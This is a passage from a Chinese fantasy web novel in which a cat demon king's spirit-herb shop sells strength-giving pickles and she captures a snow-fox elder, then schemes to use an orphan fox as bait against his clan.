她打开罐子,给大家看里面像是咸菜一样的菜干。 “这个就是我们大王亲自催生出的藿麻芽做的腌菜,我拿一点出来给大家尝尝吧。” “大家先试吃一下看看效果,效果好的话再来买!” 她颇有些肉痛的从罐子里夹了一筷子藿麻腌菜, 又拿了小刀,将这一筷子腌菜细细的切碎。 随后夹起一小粒切碎的藿麻芽,递给面前的一位顾客。 那位老顾客二话不说,接过碎腌菜嚼了两嚼,当场将它咽下肚。 “怎么样怎么样?”旁边的顾客比三参更着急,连忙问她感觉如何。 老顾客忽然闭上了眼睛。 下一刻, 她忽然睁开双眼, 冲出店门,然后在门口捡了一颗石头, 用力一捏! 咔嚓一声! 那块石头居然真的被捏成了两半! “嚯!!” 众人双目圆睁:“真的有用啊?!” 有离得近的人,还上前细看了一眼那块石头,又伸手捏了捏。 “是青砖石!没有掺假!这高级灵植吃了真的能涨力气!石头都能捏碎了!” 这可比看杂耍班子里的胸口碎大石震撼多了! 因为杂耍班子里的人大家都知道她们是练过的,但今天这位顾客大家都认识,她就是个普通姑娘! 大家都知道, 她没有接受过任何训练,本身力气也并不大! 所以大家都惊讶不已,反应快的,连忙跑进店里。 “掌柜的!那灵植腌菜我们也能尝尝么!” 三参:“能!不过只有今天才能试吃,之后就要花银子买了喔,而且高级灵植不便宜的!” 众人连忙点头:“应该的应该的!要是这高级灵植如此有效,贵些也是应该的!” 毕竟一分钱一分货嘛!这道理大家都懂。 三参闻言,便拿着装碎腌菜的碟子,挨个给大家分灵植。 每个人分的试吃量都不多,只有豌豆大的一小粒。 但没有人嫌少。 所有分到试吃腌菜的顾客都齐刷刷的将它塞进了嘴里,又齐刷刷的闭上眼睛细嚼起来。 还别说,这腌菜腌得又脆又嫩,滋味甚佳。 大家三两下就将这一小粒腌菜咽下肚,然后纷纷跑去店门口掰地上的青砖石。 没一会,好好的一块青砖石,硬是被大家徒手掰碎了大半! “嘿!真神了!真的能涨力气!” “头一回觉得这青砖石这么脆!” 大家兴奋极了,还有人试着跑去搬门口的石狮子。 不过没搬起来。 三参跑出来对那位顾客笑道:“那一粒腌菜碎里的灵气不多,要想搬起这头石狮子,起码也得吃个三五粒才够呢。” 那顾客挠了挠头,当场就道:“那给我来五粒!多少银子?” 柜台里的账房抄着算盘就噼里啪啦的拨弄起来。 “大王亲自催生的灵植,十两银子一两,一两十钱,一钱十分,一分十厘,一厘十毫嗯,一粒差不多六十毫,一毫一文,一粒六十文!”* “六十文一粒,是有点贵了,但值这个价!来五粒!” 顾客从腰间摸出一串钱来,数出三百文递给账房。 账房收下钱,小心翼翼给顾客夹了五粒腌菜碎。 顾客当场就吃掉了那五粒腌菜碎,随即撸起袖子,走向石狮子! 众目睽睽下,她竟真的将石狮子扛了起来! 周遭顿时响起一阵叫好声。 “好!这高级灵植果真神效!吃完真能涨力气!” “真是仙草哇!我也算是长见识了!” “六十文一粒虽说是有些贵了,但确实值得啊!” 不过也有人犹豫不决:“东西是好东西,但是,咱们女人,要那么大力气有什么用?” “是哦,女人力气太大,会不好嫁的。” “此言差矣。”萧慧站出来说道:“大家这样想,就想岔了。” “常言道柿子要挑软的捏,许多男人欺压女人,不就是因为女人力气小,好欺负么?” “要是咱们也有了好力气,不说别的,起码自保能力是有了!” “比起嫁人,有自保能力不是更重要?不然就算嫁出去了,被夫家欺辱了,连还手之力都没有!” 她这么一说,马上有人附和:“有道理!” “要是我力气大了,我爹再打我娘,我就能保护我娘了!” “没错!以后遇到那种吃醉了酒就在街上撒泼调戏女人的泼皮无赖,咱们也不用怕他了!” “下次有恶妖再来,咱们也可以保护自己了!” “有了力气,还能去码头扛货,赚银子!” “对!嫁人有什么好的,不如自己有力气有本事,靠自己双手吃饭!” 也有人反驳:“话不是这么说的!都说嫁鸡随鸡嫁狗随狗,就算被丈夫打了,怎么能想着还手呢?” “遇到泼皮无赖,绕着走就是了,管他做什么呢?” “至于降妖,咱们平安镇上自有风大人庇护,我们操这个心做什么?” “去码头扛货就更不行了,谁会雇女人搬货?” “说嫁人没什么好的,还是年轻,女人哪能不嫁人呢!” 一时各说各有理。 两方谁也说服不了谁,于是便分作了两派。 一派是像萧慧那样觉得有力气能自保才好的,纷纷进店买腌菜碎。 一派是认为女人应当以柔弱善良为美德,力气大反而不好嫁的,转身就走。 三参等妖倒也不拦着那些走掉的顾客。 因为留下来的顾客也不少,她还要忙着给她们装腌菜呢。 一小碟腌菜碎,不多时便卖光了。 三参一边给顾客们装腌菜粒,一边跟大家说:“对凡人来说,高级灵植其实也不是无所不能的喔!” “因为凡人没有把丹田修炼出来,没法储存灵力,所以灵植的灵力是会消散的。” “你们吃下的高级灵植,一粒估计也就能撑三五天吧。” “三五天后灵力耗光,你们又会恢复原样的,所以要考虑清楚哦。” 她坦言道:“其实这些灵植给妖或者有修为的降妖师吃才是最合适的。” “但是我们新店开业,要打出名声嘛,才拿它出来宣传的。” “不过大家也别担心!长期吃高级灵植是可以改善根骨的!” “就算是凡人,养好了根骨之后也可以修炼的!” 众人一听,不仅没觉得不好,反而更安心了。 毕竟留下来的人都是脑筋活泛的,大家都知道,天上没有直接掉馅饼的好事。 高级灵植对凡人而言有期限,也合情合理。 不然要是凡人吃一粒灵植就能法力大涨,那些修炼有成的降妖师大人又将置于何地? 还有人敏锐的从三参的话里推断出未来灵植店里的主顾都不是凡人,便更想多买点灵植囤起来了。 否则说不定以后她们都挤不进店里! 而且如果现在她们能养好根骨,将来未必不能拜在降妖师门下,一飞冲天! 要知道在这中州大陆上,降妖师就是最最受尊敬的人了。 更重要的是,做降妖师只看根骨,不挑性别,对有野心的女人而言,这是最能实现她们的理想和价值的选择。 只不过以往大家都没有这个机会,也没有渠道跟降妖师搭上路子。 而现在,机会就摆在她们眼前! 一文钱一毫的灵植贵是贵,但这就是她们逆天改命的唯一机会! 一些想得长远的女人很快就下定了决心。 她们买走了大半的腌菜碎,又买了些普通灵植回去搭着吃。 三参很开心,第一天开业,她们就卖出去一碟子高级灵植! 虽然数量不多,但这是个好兆头! 等店里的名声打出去之后,生意自然会越来越好! 拨弄着算盘,三参笑得见牙不见眼的。 店里的众妖也高兴得很,仿佛已经看到了奖金朝自己飞来的场景。 另一边。 衔蝉收到三参的消息,知道灵植店在山下开得很红火后,十分满意的点了点头。 嗯,这样大家就不会坐吃山空啦! 有了灵植店这个稳定的收入渠道,山上的财务也会更自由的。 但这还不够! 光是赚到银子还不够,她们还要努力,多打地盘多种灵植,弄更多真正的宝贝回来! 衔蝉站在山顶的大石头上,看着一望无际的梯田和坐落在山间的各种建筑,陷入沉思 要不,再去抢块地回来? 说实话,抢了蝎子妖的地盘后,东坡子洞真是从上到下都发了一笔。 这积累原始资金的速度比开灵植店不知道快多少。 反正妖族的规矩就是这样,谁拳头大好东西就归谁。 只要她能打赢别的妖王,她就能把别家的地盘和财产都收为己有! 对于去抢人家地盘这件事,尝到了甜头的衔蝉那叫一个跃跃欲试。 猫托着下巴,很认真的开始盘算起自家的战斗力,能不能真刀真枪的打上几场硬仗? 还有,要去打谁? 胡图她们已经去摸附近的地形了,也不知道东坡子洞的“隔壁”还有没有适合抢一波的大户。 衔蝉这边正琢磨着呢,没想到大户自己就送上门来了。 “报告大王!有一群狐妖求见!”有小妖来报。 衔蝉耳朵一竖:“嗯?!” “什么狐妖?来了多少?来干嘛的?”猫像连珠炮一样问道。 小妖答曰:“说是雪狐族的长老,来得倒不多,几十个,说是来召见大王,有事相商的。” 衔蝉顿时来了兴趣。 与此同时,终于想通了的胡二带着一队自己的私兵,跟蜈蚣妖一起,来到了东坡子洞的地界边缘。 胡二捂着心口深吸一口气:“嘶!好浓郁的灵气!这还是那座穷山吗?!” 光是站在山下,那灵气都直往他鼻子里钻! 这灵气浓郁程度,居然跟他们族里的修行地不相上下! 蜈蚣妖也十分惊讶,明明他们被撵走的时候,这里还是老样子来着! 怎么就大半个月不见,这山上就彻底变样了呢! 不仅杂草杂树被清理干净了,还修了好多梯田和桥梁建筑,远远看去简直跟座小城池似的! 虽然现在在山脚下看不太清楚田里种的是什么,但那灵气骗不了人! 这还是他们蝎子大王的地盘吗! 蜈蚣妖整个妖都懵了。 懵了一会后,又大喜起来。 “胡二长老!不管这些灵气是哪里来的,既然您来了,那衔蝉大王还不是得乖乖的把灵物给您拱手送上?!” 胡二闻言也忍不住笑出了声。 “是极是极!这方圆百里都是我雪狐族的附属地盘,不论谁来,都得按时给我们上贡!” 他心想,能把这几座穷山改造成这样的宝贝,绝非凡品! 要是那小妖王识相,乖乖的把宝物送上,那蝎子妖的事,他就可以不追究了! 噢,还得让她把蝎子妖的宝镜还回来。 那也是个好宝贝,落在一个乡下妖王手里也是浪费。 胡二越想越高兴,越发觉得这趟来得值。 于是等见到衔蝉时,他还破天荒的露出了一副自以为很是宽和的笑脸。 “你就是衔蝉妖王?” 胡二拈着胡须,上下打量了一番衔蝉。 衔蝉也在打量这个白胡子老头,和他身后那一群头上长着白色狐耳的狐妖。 “正是,你是什么妖?来我东坡子洞做什么?” 胡二继续笑:“我乃雪狐族二长老胡二,本是来为我二弟主持公道的,但念在你这小辈是初犯的份上,本长老也可网开一面。” 衔蝉掏了掏耳朵:“你二弟?谁?” 胡二答道:“就是被你暗算的蝎子妖王。” 衔蝉“哦”了一声:“他呀,他已经死了,你想给他报仇?” 这时候猫已经开始盘算拿下胡二一行的胜算有多少了。 粗略一算,胜算还不小。 因为衔蝉一眼就能看穿胡二的跟脚,又能看透他的灵息不如自己,真要打起来,猫吃不了亏。 他身后那群狐妖乍一看倒是很有气势,一个个都配了武器,很是威风的样子。 他们列队排在胡二身后两侧,颇有几分正规军该有的架势。 要是放在以前,衔蝉一定会多少忌惮他们几分。 但此一时彼一时,今时不同往日了! 如今东坡子洞不仅妖手充足,还有灵植大锅饭吃着,玄蛛这种魔鬼教官练着,战斗力早已今非昔比! 现在的东坡子洞,就算是跟曾经的蝎子妖正面硬刚都没在怕的! 所以面对带着一队私兵的胡二,衔蝉心里并不怕他。 猫心想,只要这个胡二说出了不中听的话,就揍他! 然后再拿他做妖质,让他家里妖拿东西来赎! 不过胡二居然没有说出什么很不中听的话,反而笑呵呵的跟衔蝉寒暄了几句。 “早就听说东坡子洞衔蝉大王的美名,果真是名不虚传呐。” 伸手不打笑脸人,他都这么说了,衔蝉只好遗憾的收起了爪子,很谦虚的摆了摆手。 “哪里哪里,过奖过奖。所以你到底是来干嘛的?” 胡二摇头晃脑的:“二弟已死,我也不便多说什么,只是他手里的宝镜,衔蝉大王需得还我。” “还有我那不争气的二弟死得实在太惨,衔蝉大王也该赔点东西聊表心意吧?” 他搓了搓手指,明示衔蝉:“只要你速速将宝镜和赔偿送上,这事本长老也就不追究了。” 衔蝉一下子就不困了:“你想要赔偿?要什么赔偿?” 胡二还以为衔蝉怕了他,笑道:“善哉善哉,孺子可教!” “我看你们这山上的灵气浓郁得很,想来是有能养地气的宝贝,你只消将它赔给本长老便可。” 衔蝉的爪子一下子就弹出来了。 猫理直气壮:“门都没有!那八卦镜是我抢到的,现在已经归本大王了!” “养地气的宝贝没有,有也不给你!不服来战!” 妖族规矩,谁打赢了听谁的! 胡二的脸色顿时沉了下去。 “小辈!你不要仗着本长老待你宽厚就如此无礼!” “你杀了我二弟,本长老不仅没拿势压你,还与你好言好语,你却如此不懂规矩!” 胡二冷哼一声:“既然如此,那就别怪本长老心狠手辣了!” 他一挥手:“孩儿们!拿下这猫妖!” 狐妖们顿时刷拉一下抄起武器对准衔蝉。 衔蝉丝毫不慌。 她还没出手,她身后就呼啦一声冒出一队妖兵。 一直沉默跟在衔蝉身后的玄蛛指尖一弹,蛛丝瞬间缠住了最先冲上来的几个狐妖。 几个狐妖马上抽抽起来,嘴边也吐出了白沫,很快就不动了。 胡二见状大怒:“小辈竟敢如此狂妄!你可知道我雪狐族的规矩?!” 他龇牙:“伤我族胞者,杀无赦!” 衔蝉浮夸捂心口:“我好怕哦!” 然后脚尖一点,闪现到胡二身边,一记窝心脚将他横着踢飞出去! 胡二猝不及防的飞出去,咚的一头撞在一颗树上,树都被他拦腰撞断了。 被一脚踢到腰子,顿时脱力的胡二瘫坐在树下,没想到断掉的树冠又砸下来,给他补上了沉重的一击。 胡二:“” 胡二勃然大怒! 他捂着腰子大喊起来:“好你个无礼小辈!竟敢对本长老下此杀手!” “你对本长老不敬,就是对我雪狐族不敬!嗷!!” 他狠话还没放完,衔蝉就挥着藿麻鞭子,把他像抽溜溜球一样抽得转了起来! 而旁边的玄蛛也带着妖兵们,三下五除二的把狐妖们和蜈蚣妖放倒在地。 毫不夸张的说,全程连三分钟都没有。 因为近来玄蛛和妖兵们都憋坏了! 现在大家实力大涨却没有练手的,这些习惯了打打杀杀的妖兵们早就摩拳擦掌的想出去痛快打上一场了! 所以刚看到胡二身后那一群狐妖时,这些妖兵的眼睛都亮了。 她们还估算了一下,发现那些狐妖比曾经的她们还厉害一点的时候,就更高兴了! 结果没想到这些狐妖居然这么不耐打,三两下就败了。 这时候妖兵们才反应过来,自己的实力竟已经比曾经高了不止一星半点! 亢奋的妖兵们兴高采烈地把手下败将们捆了起来。 衔蝉也过去捆胡二。 胡二已经懵了。 等等!他的私兵,就这么败了?! 这怎么可能! 要知道他的私兵虽然没有雪狐族正规军那么厉害,但实力也不弱呀! 可是在这群妖兵面前居然完全不是对手?! 这不对吧! 胡二大惊失色。 眼看着衔蝉已经拿着藿麻绳子要来捆他了,他一边哇哇大叫,一边连滚带爬的后退。 “你你你,你别过来!” “本长老警告你,我可是雪狐族二长老!你为难我就是为难雪狐族!” “小辈!要是不想被雪狐族灭族,就乖乖的放了本长老!你别过来啊啊啊!” 衔蝉手一挥,藿麻组成的绳子就把胡二五花大绑起来。 带毒的倒刺扎得胡二鬼哭狼嚎。 衔蝉却不为所动,一脚踩在他胸口,居高临下的问道:“雪狐族,很厉害吗?” 胡二艰难的喘了口气:“你竟不知道雪狐族?!” 到底是哪里来的乡巴佬啊! 怎么连雪狐族都不知道! 难怪她无所顾忌,原来是初生牛犊不怕虎! 胡二以为自己悟了,连忙说道:“我雪狐族可是妖中大族,当年曾是妖王麾下!你竟不知?!” 衔蝉:“啧,回去细说。” 她抬手拎起胡二,将他带回了东坡子洞的主峰。 这时胡二才惊讶的发现,这几座山上居然到处都长着灵植! 他不由得倒吸一口凉气。 这这这,究竟是怎么回事! 这时,山上的大家也听说了消息,连忙上前来对衔蝉问道:“大王,您没事吧?” 衔蝉摇摇头,把胡二拎起来晃了几下。 “我没事。但这个家伙好像有点来头,得审审他。” 白三姑点头:“好,大王要在哪里审他?” 衔蝉随手把胡二往地上一扔,就地将他捆在了大广场边上的桃树下。 玄蛛和妖兵们也有样学样,在一排桃树上捆了一串的狐妖。 狐妖们数量比妖兵们多一点,捆起来没那么快,阿琅见状便撸起袖子,上前去帮忙。 看到那些狐妖头上的白色狐耳时,她愣了一下。 然后继续手上的动作,三两下将他们捆在树干上。 白三姑在旁边,若有所思。 衔蝉那边也很快捆好了胡二,不过她暂时没注意到那么多。 猫凶神恶煞的挥起藿麻鞭子,当场开审:“说!你们那个雪狐族是怎么回事!” “你最好老实交代,不然本大王把你种进地里!”—— 作者有话说:*价钱和换算单位都是架空瞎编的~《 》 80-85 第81章 胡二万万没想到, 自己这回居然踢到了铁板。 他本想带着私兵来,以雪狐族的势力压一压衔蝉,好叫她交出宝贝的。 可谁知道这个衔蝉妖王居然连雪狐族的大名都不知道! 胡二气歪了鼻子, 但身上被衔蝉打伤的地方还火烧火燎的疼, 一时又不敢说什么太讨打的话。 这会见衔蝉是真不知道雪狐族的来头,他才哼哼唧唧的又摆起了架子。 “哼!无礼的小辈!好叫你知道, 我们雪狐一族,乃是岭山之中数一数二的大妖之族!” “想当年, 我们一族追随我主时,你们还没开智呢!” “如今我雪狐族有族地十万亩,族胞上万名,麾下来投奔的倚靠的从属不计其数!” “你今天羞辱于我,便是不把我雪狐一族放在眼里!” “若你识相, 早早的将本长老放开,再道个歉,赔个宝贝,此事还有转圜,否则,来日定叫你吃不了兜着走!” 衔蝉一听, 搓了搓下巴。 她扭头, 压低声音问玄蛛:“这雪狐族你知道吗?当真有这么厉害?” 玄蛛点点头:“略知一二。” 她神色有些凝重:“这老狐狸虽然面目可憎,但话确实没说错, 雪狐族,的确很有些势力。” 在岭山山脉残存的各大妖族里,雪狐族曾经可是响当当的大族。 只是后来妖王被封印,雪狐族族长战死,这一族就没落了, 从岭山中心地带,被排挤到了靠近边缘的位置。 但瘦死的骆驼比马大,对生活在岭山外围的妖们来说,雪狐族依然是高不可攀的大妖族。 像蝎子妖那样的末流妖王,都得跟他们攀点关系才能立足。 衔蝉啧了一声。 “那以我们现在的实力,对上雪狐族,有多少胜算?” 玄蛛直言不讳:“不到三成。” 衔蝉:“” 看来这个大户还不好打。 但是一听雪狐族占着岭山南边千峰的大好地盘,还有现成的城池大把的宝库,猫真的很爪痒啊。 玄蛛看出了衔蝉的心思。 说实话,她也心动。 只是这事真没那么容易。 东坡子洞跟雪狐族比起来,差太远了。 要是雪狐族真发兵来打,东坡子洞就算全员上阵,也未必扛得住三日。 “那他们肯讲道理吗?” 衔蝉朝着胡二努了努嘴:“如果我拿他做妖质,让雪狐族来赎,行不行?” 玄蛛顿了顿。 “这倒是可以试试。” “雪狐族虽然势大,但正因如此,内部派系极多,时常彼此倾轧。” 这也是当初玄蛛没有去投雪狐族,而是退而求其次的投了跟雪狐族沾点关系又不算太近的蝎子妖的缘故。 投了雪狐族,就要天天勾心斗角争权夺利,但投蝎子妖就不一样了。 蝎子妖背后有雪狐族的长老,本身又没什么本事,想压制玄蛛也缺点底气。 而后来事实证明玄蛛的选择没错。 她在蝎子妖麾下虽然被那三个男妖将抱团排挤,但她的实力放在那,连同蝎子妖在内,谁也不敢轻视她。 他们只是孤立她,也只敢孤立她。 但玄蛛压根不在乎。 她安心蛰伏在蝎子妖麾下,等待着机会。 然后就等到了衔蝉。 衔蝉:“嘶,这么说的话,那我们先给雪狐族写封信过去试试?” “就写胡二长老踩坏了我们的田,让雪狐族赔钱赎妖,不然就不放他走了!” 玄蛛点头:“可以,但一定要把信交到跟胡二不对付的长老手里。” 这样雪狐族为了面子不得不来赎胡二,但胡二回去后必然会被死对头趁机压制,想回来找衔蝉算账也没机会。 至于雪狐族会不会为了面子发兵来打东坡子洞玄蛛认为短时间内不会。 “雪狐族只有族长才有发兵的权力,但听说雪狐族的现任族长近来都不在族中。” “所以我们可以趁这个机会,先利用雪狐族的内部倾轧赚一笔赎金。” “再用赚来的宝贝尽快提升实力,将来再想办法把雪狐族分而破之。” 衔蝉:“我们的时间有多少?来得及吗?会不会我们实力还没升上去,雪狐族长就回来了?” 玄蛛摇摇头。 “也许,他回不来了。” 衔蝉:“这又是怎么回事?” 玄蛛:“我先前听蝎子妖说过,近来岭山封印时常松动,因此雪狐族长便往封印处去了。” “他似乎是想提前放出妖王陛下,好在陛下面前露个脸,重振雪狐族。” “但我听说陛下最恨叛徒。” 而岭山中有流言说,在当年的两族大战中,雪狐族里就出了叛徒。 那叛徒在自家族长战死后就暗地里倒戈与人类不清不楚,并且在妖王传召时借故躲开了。 据说此举间接导致了妖王被人族暗算,进而被人族降妖师联手封印。 所以玄蛛觉得雪狐族族长未必还能回来。 妖王要是破关而出,雪狐族迟早被清算。 到时候,衔蝉就可以趁机捡个便宜,瓜分雪狐族势力。 衔蝉却皱起了眉头:“妖王要破关出来,那咱们怎么办?” 前方的小boss还没打呢,马上又要出来个终极大boss? 这还怎么玩! 玄蛛理所当然道:“妖王陛下出关,我们就投在陛下麾下啊。” 这可是她毕生梦想来着! 一向慕强的玄蛛,早在许多年前就幻想过跟随妖王南征北战,立下汗马功劳了。 衔蝉:“” 猫把指节捏得咔咔响:“不行!” 大橘猫怎可郁郁久居于妖下! 要做就做大王,她才不要做人家的跟班! 猫宁做鸡头,不做凤尾! 玄蛛:“可是陛下威镇寰宇,还未必看得上咱们呢。” 衔蝉:这句话好扎心!猫不爱听! 猫把袖子一撸,目露凶光:“不然我去看看那个封印,再给她加两层吧!” 她师尊可是降妖师来着,封印什么的她也学了一点的! 把那个据说很凶残的妖王多封印一段时间,等猫也长成绝世猛妖后再去放她出来,跟她较个高下! 玄蛛:“” 玄蛛委婉提醒:“大王,听说那封印撑不了多久了。” 也就是说,留给猫奋起直追的时间也不多了。 再说扎心点,就算时间充足,那又怎样呢? 当年的妖王可不是靠时间熬上去的。 那么多被她揍得死去活来的大妖,哪个的年纪不比她大,修炼时间不比她长? 可最后不还是被她揍得破破烂烂服服帖帖的。 所以说天赋这种东西,用时间来堆也堆不出来的。 衔蝉怒视玄蛛:“你怎么老说丧气话,我不爱听!” 玄蛛无奈:“好吧,我不说了。” 她看向胡二:“大王打算什么时候写信给雪狐族?要我代劳吗?” 衔蝉哼了一声:“现在就写!你写!” 玄蛛:“好好好,属下马上就写。” 她果真去写信了。 胡二看着她们一通窃窃私语,又懵又憋屈。 他还在这里呢!能不能尊重点!把他晾在这里又算什么! 胡二很想骂几句挽挽尊,但衔蝉转头看他时,他又不由自主的往树干上缩了缩,怂。 衔蝉:呸!银样镴枪头! 她收起藿麻鞭子,满腹心事的回到大厅。 白三姑和阿琅对视一眼,跟上了衔蝉。 “大王在担心那个妖王吗?” 衔蝉叹气:“是有点。” 猫变回原型母鸡蹲在桌上:“那妖王,究竟是怎么回事啊。” 她还没弄清楚灵霄的事呢,这马上又即将面对妖王出世,说不定连势力都保不住,真是越想越憋屈! 要是她趁现在努力发展势力吧,说不定等妖王出世后直接就给她摘桃子了; 但要是她现在不努力干脆摆烂让妖王看不上东坡子洞吧,猫又不甘心。 “唉!要不我还是去看看吧,不然咱消息太滞后了,两眼一抹黑啊。” 白三姑见猫唉声叹气,便变回原型,朝猫伸出了翅膀。 衔蝉呲溜一下钻到大白鸽翅膀下,还伸爪挥了挥,示意阿琅也上来。 很快白三姑的翅膀下就挤了一只猫,一只雪白的小狐狸。 衔蝉忽然欸了一声。 猫伸爪摸了摸阿琅的毛毛,突发奇想:“阿琅!你好像跟那些雪狐长得很像哎!” “他们该不会就是你的族胞吧?!” 小狐狸抖了抖耳朵:“我也不知道。” 她打小就是个孤儿狐狸,还没见过自己的族胞呢。 衔蝉头顶灯泡顿时一亮,她把爪子搭在小狐狸脖子上,凑到阿琅耳边,如此如此这般这般。 阿琅一听,眼睛也逐渐亮起来。 “好!我们试试!” 不久后,信写了一半的玄蛛也被叫了进来 一天很快过去,太阳落下,月亮升起,东坡子洞的主峰上安静了下来。 白天忙碌了一天的小妖们都回宿舍睡下了,大广场这边也没妖了。 被捆在大广场的桃树下的胡二一行见山上也没个巡逻的妖,便七扭八扭的想挣脱绳子逃跑。 月色下,一抹白色闪过。 胡二感觉眼睛一花,面前就多了一只半大的小狐狸。 他警惕的看向阿琅:“你你你是谁!你要做什么!” 阿琅从背后叼出一个小包裹,打开。 里面居然装着些干粮。 她也没说话,只把干粮往胡二面前一推,然后深深地看了他一眼,就转身消失在了夜色中。 胡二愣了一下。 这小辈是来给他送吃的? 但为什么偷偷摸摸的? 等等! 她好像也是雪狐啊! 那问题又来了,雪狐为什么不在族地里,反而在这个诡异的东坡子洞里?! 他记得他们雪狐族好像没有流落在外的族胞吧? 那这个小雪狐又是怎么回事? 胡二心里狐疑,但面前的干粮散发着诱人的香味,让他实在没空多想什么。 主要是他们一行已经被捆在树下饿了一天了。 饿就算了,身上的伤也没得到治疗,绳子还捆得死紧,现在是又累又痛又饿,好不凄凉。 胡二长这么大,哪里吃过这样的苦! 他悄悄地抬头看了看四周,发现确实没有巡夜的妖兵后,犹犹豫豫的伸出后脚尖,把那包干粮朝自己面前勾了勾。 周围顿时响起一片吞咽声。 是跟胡二一起被捆在旁边的树下的雪狐们。 胡二顿时竖起眉毛瞪了一眼他的私兵们,然后用脚掌夹起一块干粮,拼命往自己嘴边送。 他都快饿死了! 胡二一顾不上自己现在的样子有多狼狈,伸长了脖子狼吞虎咽。 旁边的雪狐们的吞咽声更响了。 忽然噗噗几声轻响。 又有几个布包被扔了出来,正好丢在雪狐私兵们的脚边。 雪狐私兵们马上也学着胡二的样子,用后脚掌去够包袱。 包袱里的干粮不多,每个雪狐只能分两口,勉强垫垫肚子。 胡二也三两口吃完了自己那份干粮,但还是饿,就眼睛直勾勾的盯着他的私兵们。 只可惜现在所有雪狐都又痛又饿,压根没有注意到胡二垂涎的眼神。 胡二只好干瞪眼。 不久后,那抹白色的身影又出现了。 她默默地捡走了包袱皮。 胡二连忙叫住她:“喂!小辈!你究竟是什么妖?莫不是我雪狐族胞?你为何会流落在此?” 阿琅没吭声,闪身离开。 这反而让胡二更加在意了,一晚上都在抓耳挠腮的想她究竟是不是流落在外的雪狐。 第二天,一晚上没睡好的胡二顶着两个硕大的黑眼圈,整个狐都更萎靡了。 然而今天的衔蝉还是那么凶神恶煞。 “来人啊!把这些坏狐狸给本大王种进地里!” 凶恶的猫大王一声令下,胡二等一群狐狸就被种进了地里,只剩下一颗脑袋还在地面上。 胡二:岂有此理! 但他们都被捆了四肢尾巴,挣脱不了,只能惨兮兮的被种在了地里,像一排蒲公英。 这一天,衔蝉依旧没给他们吃过一粒米,只让他们在烈日下暴晒了一整天。 胡二被折腾得要死要活的,连声大喊宝贝他不要了,宝镜也不要了,只求衔蝉大王放他回去。 衔蝉:“放你回去?放你回去又带兵来打我们吗?本大王又不傻!” 胡二连连喊冤:“没有的事!只要你放了我,我保证再不来打搅你们!” 衔蝉却不信,高冷的踹了他一脚就走了。 徒留一群狐狸在烈日下被晒得鬼哭狼嚎,吵得在附近干活的小妖们干脆又用绳子捆住了他们的嘴筒子。 狐狸们:“” 怎一个惨字了得! 入夜后,众狐狸实在是被折腾得遭不住了,呜呜直哭。 胡二却抬头看着天上的月亮,心脏怦怦跳。 他等啊等,等到三更左右,终于又看到了那一抹白。 阿琅照旧背着包袱来了。 胡二一看到她,马上拼命甩头,发出含糊不清的喊声。 阿琅走过去,蹲在胡二面前,悄声道:“我给你解开一会绳子,你别大声嚷嚷啊。” 胡二连连点头。 阿琅便果真给他松开了嘴筒子上的绳子,还给他塞了一块干粮。 胡二顿时热泪盈眶。 “你果然是我雪狐族的崽子吧?你是怎么流落到这里的?你是哪家的崽子?” 阿琅摇摇头:“不知道,我从小就是孤儿。” 胡二激动起来:“孩子,这些年,你受了不少苦吧?” “快,你把我放出来,叔带你回族里,认祖归宗!” 阿琅继续摇头。 “不,我不走,大王待我恩重如山,三姑对我有养育之恩,我不能离开东坡子洞。” 胡二一听,还是个重情重义的孩子!那更好了! 他蛊惑道:“话不是这么说的!孩子,养恩不如生恩,你就不想回族里看看你亲娘吗?” 他用力眨眼挤出一滴眼泪:“可怜见的哟!你娘要是知道你流落在外,肯定也好伤心的!” 阿琅顿了顿:“你知道我娘是谁?” 胡二一看她神色有所动摇,急忙说道:“不管你娘是谁,反正都是我们雪狐族胞!” “本长老带你回族里,让大家来认认就知道你是哪一支的崽子了!” “到时候,你跟你娘母子团聚,岂不美哉?” 阿琅像是被说动了一样,眼神越发动摇。 胡二见状,马上将灵力汇聚于双眼,然后用泛着微光的眼睛看向阿琅。 他对阿琅使用了雪狐族的天赋技能。 这是个既可以用来安魂固灵,又可以用来蛊惑人心的能力:舒魂。 不过胡二的舒魂本领练得一般,只能用来动摇一下别人的心志,要是遇上心志坚定的就没法子。 比如衔蝉,胡二对她瞪圆了眼睛也没用,她照样会打得他满地乱爬,挥鞭子的力度都不会减小一点。 但要是用在本就有所动摇的人身上,效果就出来了。 而阿琅似乎确实被蛊惑了。 胡二说让她放了他们,跟他们回族里,阿琅竟真的把他从地里刨了出来! “好孩子!本长老一定会带你回家的!” 终于从土里被薅出来的胡二激动坏了,不顾身上的泥巴,就伸手拍了拍阿琅的肩。 阿琅不着痕迹的侧身躲开了胡二的爪子。 胡二也不在意,又跟阿琅一起,把雪狐私兵们刨了出来。 “走!咱们这就走!回族里去!” 胡二招呼阿琅,但阿琅却站在原地没动。 胡二:“孩子,你怎么了?怎么不走?” 阿琅:“我不会走的,你们走吧。” 胡二:“傻孩子!你放了我们,又不跟我们走,被发现了怎么办?!” 他一脸担忧:“而且你也是雪狐,就算此事没有暴露,也难免被迁怒啊!” 阿琅摇头:“不会的,我跟大王情同姐妹,她不会因为你们迁怒我的。” 胡二一听,顿时暗喜。 “果真?你跟那衔蝉大王情同姐妹?” 阿琅:“嗯,我们是一起长大的,东坡子洞也是我们一起打下来的。” 胡二差点笑出来,但他及时忍住了:“那你岂不是这里的二大王?” 阿琅:“算不上二大王,算三大王吧。” 胡二眉头一皱:“二大王是谁?” 阿琅扭头看向远处:“是大王的师妹。” 胡二眼珠子一转。 他还要说点什么,但阿琅推了他一下:“别说了,天快亮了,你们快走吧!” 胡二看了她一眼,半推半就的离开了主峰。 阿琅将他们送出结界外,这才转头回山上去。 变成人形的胡二捏着自己的胡子,看了阿琅的背影好一会,等她走远后,忽然仰天大笑。 “天助我也!” “孩儿们!走!回族里去!” 胡二的私兵里,他的一个心腹问道:“长老,那个孩子” 胡二咧嘴:“你放心,本长老一定会把她接回族里的!” 心腹又问:“她果真是咱们族里的孩子吗?” 胡二:“她会是的。” “只要把她带回族里,她见过了雪狐族的繁盛,自然就不会再留恋这个小小妖洞。” “届时,本长老还有很用得上她的地方呢!” 东坡子洞里。 “他们走了?” “走了走了,我看着他们走的。” 阿琅蹭了蹭衔蝉:“他们真的还会回来吗?” 衔蝉给阿琅舔了舔头毛:“会的会的!” “玄蛛说了雪狐族里的势力乱得很,胡二一定会回来拉拢利用你的!” 阿琅点点头:“嗯,那我会配合他们的!” 衔蝉跟阿琅相视一笑。 “希望胡二能成功吧!” 听说雪狐族可富裕了呢。 嘿嘿。 另一边。 